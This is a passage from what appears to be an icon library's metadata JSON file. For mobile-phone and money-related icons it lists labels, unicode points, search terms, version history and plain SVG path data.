        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M80 0C44.7 0 16 28.7 16 64V448c0 35.3 28.7 64 64 64H304c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H80zM192 400a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M80 0C44.7 0 16 28.7 16 64V448c0 35.3 28.7 64 64 64H304c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H80zM192 400a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "mobile-retro": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cellphone", "cellular", "phone"]
    },
    "styles": ["solid"],
    "unicode": "e527",
    "label": "Mobile Retro",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H256c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zm64 96v64c0 17.7 14.3 32 32 32H224c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H96c-17.7 0-32 14.3-32 32zM80 352a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm24 56a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zm56-56a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm24 56a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zm56-56a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm24 56a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zM128 48c-8.8 0-16 7.2-16 16s7.2 16 16 16h64c8.8 0 16-7.2 16-16s-7.2-16-16-16H128z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H256c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zm64 96v64c0 17.7 14.3 32 32 32H224c17.7 0 32-14.3 32-32V160c0-17.7-14.3-32-32-32H96c-17.7 0-32 14.3-32 32zM80 352a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm24 56a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zm56-56a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm24 56a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zm56-56a24 24 0 1 0 0-48 24 24 0 1 0 0 48zm24 56a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zM128 48c-8.8 0-16 7.2-16 16s7.2 16 16 16h64c8.8 0 16-7.2 16-16s-7.2-16-16-16H128z"
      }
    },
    "free": ["solid"]
  },
  "mobile-screen": {
    "aliases": {
      "names": ["mobile-android-alt"],
      "unicodes": {
        "secondary": ["10f3cf"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "android",
        "call",
        "cell phone",
        "device",
        "number",
        "screen",
        "telephone",
        "text"
      ]
    },
    "styles": ["solid"],
    "unicode": "f3cf",
    "label": "Mobile Screen",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M16 64C16 28.7 44.7 0 80 0H304c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H80c-35.3 0-64-28.7-64-64V64zM144 448c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16s-7.2-16-16-16H160c-8.8 0-16 7.2-16 16zM304 64H80V384H304V64z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M16 64C16 28.7 44.7 0 80 0H304c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H80c-35.3 0-64-28.7-64-64V64zM144 448c0 8.8 7.2 16 16 16h64c8.8 0 16-7.2 16-16s-7.2-16-16-16H160c-8.8 0-16 7.2-16 16zM304 64H80V384H304V64z"
      }
    },
    "free": ["solid"]
  },
  "mobile-screen-button": {
    "aliases": {
      "names": ["mobile-alt"],
      "unicodes": {
        "secondary": ["10f3cd"]
      }
    },
    "changes": ["5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "apple",
        "call",
        "cell phone",
        "device",
        "iphone",
        "number",
        "screen",
        "telephone"
      ]
    },
    "styles": ["solid"],
    "unicode": "f3cd",
    "label": "Mobile Screen Button",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M16 64C16 28.7 44.7 0 80 0H304c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H80c-35.3 0-64-28.7-64-64V64zM224 448a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM304 64H80V384H304V64z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M16 64C16 28.7 44.7 0 80 0H304c35.3 0 64 28.7 64 64V448c0 35.3-28.7 64-64 64H80c-35.3 0-64-28.7-64-64V64zM224 448a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM304 64H80V384H304V64z"
      }
    },
    "free": ["solid"]
  },
  "modx": {
    "changes": ["4.5.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f285",
    "label": "MODX",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M356 241.8l36.7 23.7V480l-133-83.8L356 241.8zM440 75H226.3l-23 37.8 153.5 96.5L440 75zm-89 142.8L55.2 32v214.5l46 29L351 217.8zM97 294.2L8 437h213.7l125-200.5L97 294.2z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M356 241.8l36.7 23.7V480l-133-83.8L356 241.8zM440 75H226.3l-23 37.8 153.5 96.5L440 75zm-89 142.8L55.2 32v214.5l46 29L351 217.8zM97 294.2L8 437h213.7l125-200.5L97 294.2z"
      }
    },
    "free": ["brands"]
  },
  "monero": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3d0",
    "label": "Monero",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014483,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M352 384h108.4C417 455.9 338.1 504 248 504S79 455.9 35.6 384H144V256.2L248 361l104-105v128zM88 336V128l159.4 159.4L408 128v208h74.8c8.5-25.1 13.2-52 13.2-80C496 119 385 8 248 8S0 119 0 256c0 28 4.6 54.9 13.2 80H88z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M352 384h108.4C417 455.9 338.1 504 248 504S79 455.9 35.6 384H144V256.2L248 361l104-105v128zM88 336V128l159.4 159.4L408 128v208h74.8c8.5-25.1 13.2-52 13.2-80C496 119 385 8 248 8S0 119 0 256c0 28 4.6 54.9 13.2 80H88z"
      }
    },
    "free": ["brands"]
  },
  "money-bill": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0d6"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "buy",
        "cash",
        "checkout",
        "money",
        "payment",
        "price",
        "purchase"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0d6",
    "label": "Money Bill",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zm64 320H64V320c35.3 0 64 28.7 64 64zM64 192V128h64c0 35.3-28.7 64-64 64zM448 384c0-35.3 28.7-64 64-64v64H448zm64-192c-35.3 0-64-28.7-64-64h64v64zM288 160a96 96 0 1 1 0 192 96 96 0 1 1 0-192z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zm64 320H64V320c35.3 0 64 28.7 64 64zM64 192V128h64c0 35.3-28.7 64-64 64zM448 384c0-35.3 28.7-64 64-64v64H448zm64-192c-35.3 0-64-28.7-64-64h64v64zM288 160a96 96 0 1 1 0 192 96 96 0 1 1 0-192z"
      }
    },
    "free": ["solid"]
  },
  "money-bill-1": {
    "aliases": {
      "names": ["money-bill-alt"],
      "unicodes": {
        "secondary": ["10f3d1"]
      }
    },
    "changes": [
      "5.0.0",
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "buy",
        "cash",
        "checkout",
        "money",
        "payment",
        "price",
        "purchase"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f3d1",
    "label": "Money Bill 1",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zm64 320H64V320c35.3 0 64 28.7 64 64zM64 192V128h64c0 35.3-28.7 64-64 64zM448 384c0-35.3 28.7-64 64-64v64H448zm64-192c-35.3 0-64-28.7-64-64h64v64zM176 256a112 112 0 1 1 224 0 112 112 0 1 1 -224 0zm76-48c0 9.7 6.9 17.7 16 19.6V276h-4c-11 0-20 9-20 20s9 20 20 20h24 24c11 0 20-9 20-20s-9-20-20-20h-4V208c0-11-9-20-20-20H272c-11 0-20 9-20 20z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 64C28.7 64 0 92.7 0 128V384c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V128c0-35.3-28.7-64-64-64H64zm64 320H64V320c35.3 0 64 28.7 64 64zM64 192V128h64c0 35.3-28.7 64-64 64zM448 384c0-35.3 28.7-64 64-64v64H448zm64-192c-35.3 0-64-28.7-64-64h64v64zM176 256a112 112 0 1 1 224 0 112 112 0 1 1 -224 0zm76-48c0 9.7 6.9 17.7 16 19.6V276h-4c-11 0-20 9-20 20s9 20 20 20h24 24c11 0 20-9 20-20s-9-20-20-20h-4V208c0-11-9-20-20-20H272c-11 0-20 9-20 20z"
      },
      "regular": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M112 112c0 35.3-28.7 64-64 64V336c35.3 0 64 28.7 64 64H464c0-35.3 28.7-64 64-64V176c-35.3 0-64-28.7-64-64H112zM0 128C0 92.7 28.7 64 64 64H512c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128zM176 256a112 112 0 1 1 224 0 112 112 0 1 1 -224 0zm80-48c0 8.8 7.2 16 16 16v64h-8c-8.8 0-16 7.2-16 16s7.2 16 16 16h24 24c8.8 0 16-7.2 16-16s-7.2-16-16-16h-8V208c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M112 112c0 35.3-28.7 64-64 64V336c35.3 0 64 28.7 64 64H464c0-35.3 28.7-64 64-64V176c-35.3 0-64-28.7-64-64H112zM0 128C0 92.7 28.7 64 64 64H512c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128zM176 256a112 112 0 1 1 224 0 112 112 0 1 1 -224 0zm80-48c0 8.8 7.2 16 16 16v64h-8c-8.8 0-16 7.2-16 16s7.2 16 16 16h24 24c8.8 0 16-7.2 16-16s-7.2-16-16-16h-8V208c0-8.8-7.2-16-16-16H272c-8.8 0-16 7.2-16 16z"
      }
    },
    "free": ["regular", "solid"]
  },
  "money-bill-1-wave": {
    "aliases": {
      "names": ["money-bill-wave-alt"],
      "unicodes": {
        "secondary": ["10f53b"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "buy",
        "cash",
        "checkout",
        "money",
        "payment",
        "price",
        "purchase"
      ]
    },
    "styles": ["solid"],
    "unicode": "f53b",
    "label": "Money Bill 1 Wave",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 112.5V422.3c0 18 10.1 35 27 41.3c87 32.5 174 10.3 261-11.9c79.8-20.3 159.6-40.7 239.3-18.9c23 6.3 48.7-9.5 48.7-33.4V89.7c0-18-10.1-35-27-41.3C462 15.9 375 38.1 288 60.3C208.2 80.6 128.4 100.9 48.7 79.1C25.6 72.8 0 88.6 0 112.5zM128 416H64V352c35.3 0 64 28.7 64 64zM64 224V160h64c0 35.3-28.7 64-64 64zM448 352c0-35.3 28.7-64 64-64v64H448zm64-192c-35.3 0-64-28.7-64-64h64v64zM384 256c0 61.9-43 112-96 112s-96-50.1-96-112s43-112 96-112s96 50.1 96 112zM252 208c0 9.7 6.9 17.7 16 19.6V276h-4c-11 0-20 9-20 20s9 20 20 20h24 24c11 0 20-9 20-20s-9-20-20-20h-4V208c0-11-9-20-20-20H272c-11 0-20 9-20 20z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 112.5V422.3c0 18 10.1 35 27 41.3c87 32.5 174 10.3 261-11.9c79.8-20.3 159.6-40.7 239.3-18.9c23 6.3 48.7-9.5 48.7-33.4V89.7c0-18-10.1-35-27-41.3C462 15.9 375 38.1 288 60.3C208.2 80.6 128.4 100.9 48.7 79.1C25.6 72.8 0 88.6 0 112.5zM128 416H64V352c35.3 0 64 28.7 64 64zM64 224V160h64c0 35.3-28.7 64-64 64zM448 352c0-35.3 28.7-64 64-64v64H448zm64-192c-35.3 0-64-28.7-64-64h64v64zM384 256c0 61.9-43 112-96 112s-96-50.1-96-112s43-112 96-112s96 50.1 96 112zM252 208c0 9.7 6.9 17.7 16 19.6V276h-4c-11 0-20 9-20 20s9 20 20 20h24 24c11 0 20-9 20-20s-9-20-20-20h-4V208c0-11-9-20-20-20H272c-11 0-20 9-20 20z"
      }
    },
    "free": ["solid"]
  },
  "money-bill-transfer": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bank",
        "conversion",
        "deposit",
        "money",
        "transfer",
        "withdrawal"
      ]
    },
    "styles": ["solid"],
    "unicode": "e528",
    "label": "Money Bill Transfer",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M535 41c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l64 64c4.5 4.5 7 10.6 7 17s-2.5 12.5-7 17l-64 64c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l23-23L384 112c-13.3 0-24-10.7-24-24s10.7-24 24-24l174.1 0L535 41zM105 377l-23 23L256 400c13.3 0 24 10.7 24 24s-10.7 24-24 24L81.9 448l23 23c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L7 441c-4.5-4.5-7-10.6-7-17s2.5-12.5 7-17l64-64c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9zM96 64H337.9c-3.7 7.2-5.9 15.3-5.9 24c0 28.7 23.3 52 52 52l117.4 0c-4 17 .6 35.5 13.8 48.8c20.3 20.3 53.2 20.3 73.5 0L608 169.5V384c0 35.3-28.7 64-64 64H302.1c3.7-7.2 5.9-15.3 5.9-24c0-28.7-23.3-52-52-52l-117.4 0c4-17-.6-35.5-13.8-48.8c-20.3-20.3-53.2-20.3-73.5 0L32 342.5V128c0-35.3 28.7-64 64-64zm64 64H96v64c35.3 0 64-28.7 64-64zM544 320c-35.3 0-64 28.7-64 64h64V320zM320 352a96 96 0 1 0 0-192 96 96 0 1 0 0 192z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M535 41c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l64 64c4.5 4.5 7 10.6 7 17s-2.5 12.5-7 17l-64 64c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l23-23L384 112c-13.3 0-24-10.7-24-24s10.7-24 24-24l174.1 0L535 41zM105 377l-23 23L256 400c13.3 0 24 10.7 24 24s-10.7 24-24 24L81.9 448l23 23c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0L7 441c-4.5-4.5-7-10.6-7-17s2.5-12.5 7-17l64-64c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9zM96 64H337.9c-3.7 7.2-5.9 15.3-5.9 24c0 28.7 23.3 52 52 52l117.4 0c-4 17 .6 35.5 13.8 48.8c20.3 20.3 53.2 20.3 73.5 0L608 169.5V384c0 35.3-28.7 64-64 64H302.1c3.7-7.2 5.9-15.3 5.9-24c0-28.7-23.3-52-52-52l-117.4 0c4-17-.6-35.5-13.8-48.8c-20.3-20.3-53.2-20.3-73.5 0L32 342.5V128c0-35.3 28.7-64 64-64zm64 64H96v64c35.3 0 64-28.7 64-64zM544 320c-35.3 0-64 28.7-64 64h64V320zM320 352a96 96 0 1 0 0-192 96 96 0 1 0 0 192z"
      }
    },
    "free": ["solid"]
  },
  "money-bill-trend-up": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bank", "bonds", "inflation", "market", "stocks", "trade"]
    },
    "styles": ["solid"],
    "unicode": "e529",
    "label": "Money Bill Trend Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M470.7 9.4c3 3.1 5.3 6.6 6.9 10.3s2.4 7.8 2.4 12.2l0 .1v0 96c0 17.7-14.3 32-32 32s-32-14.3-32-32V109.3L310.6 214.6c-11.8 11.8-30.8 12.6-43.5 1.7L176 138.1 84.8 216.3c-13.4 11.5-33.6 9.9-45.1-3.5s-9.9-33.6 3.5-45.1l112-96c12-10.3 29.7-10.3 41.7 0l89.5 76.7L370.7 64H352c-17.7 0-32-14.3-32-32s14.3-32 32-32h96 0c8.8 0 16.8 3.6 22.6 9.3l.1 .1zM0 304c0-26.5 21.5-48 48-48H464c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V304zM48 416v48H96c0-26.5-21.5-48-48-48zM96 304H48v48c26.5 0 48-21.5 48-48zM464 416c-26.5 0-48 21.5-48 48h48V416zM416 304c0 26.5 21.5 48 48 48V304H416zm-96 80a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M470.7 9.4c3 3.1 5.3 6.6 6.9 10.3s2.4 7.8 2.4 12.2l0 .1v0 96c0 17.7-14.3 32-32 32s-32-14.3-32-32V109.3L310.6 214.6c-11.8 11.8-30.8 12.6-43.5 1.7L176 138.1 84.8 216.3c-13.4 11.5-33.6 9.9-45.1-3.5s-9.9-33.6 3.5-45.1l112-96c12-10.3 29.7-10.3 41.7 0l89.5 76.7L370.7 64H352c-17.7 0-32-14.3-32-32s14.3-32 32-32h96 0c8.8 0 16.8 3.6 22.6 9.3l.1 .1zM0 304c0-26.5 21.5-48 48-48H464c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V304zM48 416v48H96c0-26.5-21.5-48-48-48zM96 304H48v48c26.5 0 48-21.5 48-48zM464 416c-26.5 0-48 21.5-48 48h48V416zM416 304c0 26.5 21.5 48 48 48V304H416zm-96 80a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z"
      }
    },
    "free": ["solid"]
  },
  "money-bill-wave": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f53a"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "buy",
        "cash",
        "checkout",
        "money",
        "payment",
        "price",
        "purchase"
      ]
    },
    "styles": ["solid"],
    "unicode": "f53a",
    "label": "Money Bill Wave",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 112.5V422.3c0 18 10.1 35 27 41.3c87 32.5 174 10.3 261-11.9c79.8-20.3 159.6-40.7 239.3-18.9c23 6.3 48.7-9.5 48.7-33.4V89.7c0-18-10.1-35-27-41.3C462 15.9 375 38.1 288 60.3C208.2 80.6 128.4 100.9 48.7 79.1C25.6 72.8 0 88.6 0 112.5zM288 352c-44.2 0-80-43-80-96s35.8-96 80-96s80 43 80 96s-35.8 96-80 96zM64 352c35.3 0 64 28.7 64 64H64V352zm64-208c0 35.3-28.7 64-64 64V144h64zM512 304v64H448c0-35.3 28.7-64 64-64zM448 96h64v64c-35.3 0-64-28.7-64-64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 112.5V422.3c0 18 10.1 35 27 41.3c87 32.5 174 10.3 261-11.9c79.8-20.3 159.6-40.7 239.3-18.9c23 6.3 48.7-9.5 48.7-33.4V89.7c0-18-10.1-35-27-41.3C462 15.9 375 38.1 288 60.3C208.2 80.6 128.4 100.9 48.7 79.1C25.6 72.8 0 88.6 0 112.5zM288 352c-44.2 0-80-43-80-96s35.8-96 80-96s80 43 80 96s-35.8 96-80 96zM64 352c35.3 0 64 28.7 64 64H64V352zm64-208c0 35.3-28.7 64-64 64V144h64zM512 304v64H448c0-35.3 28.7-64 64-64zM448 96h64v64c-35.3 0-64-28.7-64-64z"
      }
    },
    "free": ["solid"]
  },
  "money-bill-wheat": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "agribusiness",
        "agriculture",
        "farming",
        "food",
        "livelihood",
        "subsidy"
      ]
    },
    "styles": ["solid"],
    "unicode": "e52a",
    "label": "Money Bill Wheat",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M176 0c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80c0-8.8 7.2-16 16-16zM56 16h48c13.3 0 24 10.7 24 24s-10.7 24-24 24H56C42.7 64 32 53.3 32 40s10.7-24 24-24zM24 88H136c13.3 0 24 10.7 24 24s-10.7 24-24 24H24c-13.3 0-24-10.7-24-24S10.7 88 24 88zm8 96c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24s-10.7 24-24 24H56c-13.3 0-24-10.7-24-24zM272 16c0-8.8 7.2-16 16-16c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80zM400 0c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80c0-8.8 7.2-16 16-16zm80 144c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80c8.8 0 16 7.2 16 16zM352 128c8.8 0 16 7.2 16 16c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80zm-96 16c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80c8.8 0 16 7.2 16 16zM0 304c0-26.5 21.5-48 48-48H464c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V304zM48 416v48H96c0-26.5-21.5-48-48-48zM96 304H48v48c26.5 0 48-21.5 48-48zM464 416c-26.5 0-48 21.5-48 48h48V416zM416 304c0 26.5 21.5 48 48 48V304H416zm-96 80a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M176 0c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80c0-8.8 7.2-16 16-16zM56 16h48c13.3 0 24 10.7 24 24s-10.7 24-24 24H56C42.7 64 32 53.3 32 40s10.7-24 24-24zM24 88H136c13.3 0 24 10.7 24 24s-10.7 24-24 24H24c-13.3 0-24-10.7-24-24S10.7 88 24 88zm8 96c0-13.3 10.7-24 24-24h48c13.3 0 24 10.7 24 24s-10.7 24-24 24H56c-13.3 0-24-10.7-24-24zM272 16c0-8.8 7.2-16 16-16c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80zM400 0c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16c-44.2 0-80-35.8-80-80c0-8.8 7.2-16 16-16zm80 144c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80c8.8 0 16 7.2 16 16zM352 128c8.8 0 16 7.2 16 16c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80zm-96 16c0 44.2-35.8 80-80 80c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80c8.8 0 16 7.2 16 16zM0 304c0-26.5 21.5-48 48-48H464c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V304zM48 416v48H96c0-26.5-21.5-48-48-48zM96 304H48v48c26.5 0 48-21.5 48-48zM464 416c-26.5 0-48 21.5-48 48h48V416zM416 304c0 26.5 21.5 48 48 48V304H416zm-96 80a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z"
      }
    },
    "free": ["solid"]
  },
  "money-bills": {
    "changes": [
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["atm", "cash", "money", "moolah"]
    },
    "styles": ["solid"],
    "unicode": "e1f3",
    "label": "Money Bills",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M96 96V320c0 35.3 28.7 64 64 64H576c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H160c-35.3 0-64 28.7-64 64zm64 160c35.3 0 64 28.7 64 64H160V256zM224 96c0 35.3-28.7 64-64 64V96h64zM576 256v64H512c0-35.3 28.7-64 64-64zM512 96h64v64c-35.3 0-64-28.7-64-64zM288 208a80 80 0 1 1 160 0 80 80 0 1 1 -160 0zM48 120c0-13.3-10.7-24-24-24S0 106.7 0 120V360c0 66.3 53.7 120 120 120H520c13.3 0 24-10.7 24-24s-10.7-24-24-24H120c-39.8 0-72-32.2-72-72V120z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M96 96V320c0 35.3 28.7 64 64 64H576c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H160c-35.3 0-64 28.7-64 64zm64 160c35.3 0 64 28.7 64 64H160V256zM224 96c0 35.3-28.7 64-64 64V96h64zM576 256v64H512c0-35.3 28.7-64 64-64zM512 96h64v64c-35.3 0-64-28.7-64-64zM288 208a80 80 0 1 1 160 0 80 80 0 1 1 -160 0zM48 120c0-13.3-10.7-24-24-24S0 106.7 0 120V360c0 66.3 53.7 120 120 120H520c13.3 0 24-10.7 24-24s-10.7-24-24-24H120c-39.8 0-72-32.2-72-72V120z"
      }
    },
    "free": ["solid"]
  },
  "money-check": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f53c"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bank check",
        "buy",
        "checkout",
        "cheque",
        "money",
        "payment",
        "price",
        "purchase"
      ]
    },
    "styles": ["solid"],
    "unicode": "f53c",
    "label": "Money Check",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
